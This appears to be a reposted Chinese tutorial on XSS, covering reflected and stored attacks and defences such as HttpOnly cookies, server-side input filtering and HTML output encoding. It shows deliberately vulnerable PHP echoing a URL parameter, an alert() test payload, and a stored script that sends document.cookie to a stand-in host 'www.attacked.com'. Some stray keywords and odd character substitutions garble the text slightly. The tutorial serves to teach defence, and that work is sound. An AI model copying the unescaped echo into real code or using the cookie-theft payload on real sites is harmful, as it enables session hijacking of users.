web安全-XSS攻击及防护

 

XSS攻击的原理javascript


xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击相似,SQL注入攻击中以SQL语句做为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,经过插入恶意脚本,实现对用户游览器的控制。php

xss攻击主要用户攻击者盗取用户的cookie,因为sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者能够在session的生命周期内,达到获取被攻击用户的用户权限。html

 

xss攻击能够分红两种类型:java

  1. 非持久型攻击
  2. 持久型攻击

 

1.非持久型攻击数据库

顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。浏览器

假设有如下页面:安全

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>";
?>

该页面显示两条信息服务器

  • 从URI获取 'name' 参数,并在页面显示
  • 显示跳转到一条URL的连接

这时,当攻击者给出如下URL连接:cookie

index.php?name=guest<script>alert('attacked')</script>

 当用户点击该连接时,将产生如下html代码,带'attacked'的告警提示框弹出:网络

Welcome guest
<script>
  alert('attacked');//获取用户cookie,并将cookie经过网络传输至攻击者,则攻击者获取了用户权限
</script> <br> <a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>

当用户打开该地址后,会弹出“attacked”,攻击者能够在此植入javascript代码,以达到操做用户浏览器的目的

 

2.持久型攻击

持久型攻击是存储式XSS漏洞,因为其攻击代码已经存储到服务器上或者数据库中,因此受害者是不少人。

例子以下:A网站为论坛网站,攻击者能够在论坛中发表文章,该文章内包含攻击代码,并保存。

<script>window.open(“www.attacked.com?param=”+document.cookie)</script>

 这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时以前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。

 

 

XSS攻击的防护


1.HttpOnly防止劫取Cookie

HttpOnly最先由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。

严格的书,HttpOnly并不是为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。

某些时候,应用可能须要javascript访问某几项cookie,这种cookie能够不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。

 

2.输入检查 XSS Filter

常见的XSS攻击都须要攻击者构造一些特殊字符,这些字符多是正经常使用户不会用到的,因此输入检查就有存在的必要了。

输入检查的逻辑,必须放在服务端代码实现。若是只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。

目前的广泛作法是,在服务端代码和客户端代码中实现一样的代码检查逻辑。

互联网上有不少开源的XSS Filter的实现。

 

3.输出检查

在变量输入到html页面时,对html代码进行HtmlEncode。

为了对抗XSS,在HTMLEncode中要求至少转换如下字符:

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

”     –>     &quot;

‘     –>     &#x27;

/     –>     &#x2f;

 

参考:《白帽子讲Web安全》

相关文章
相关标签/搜索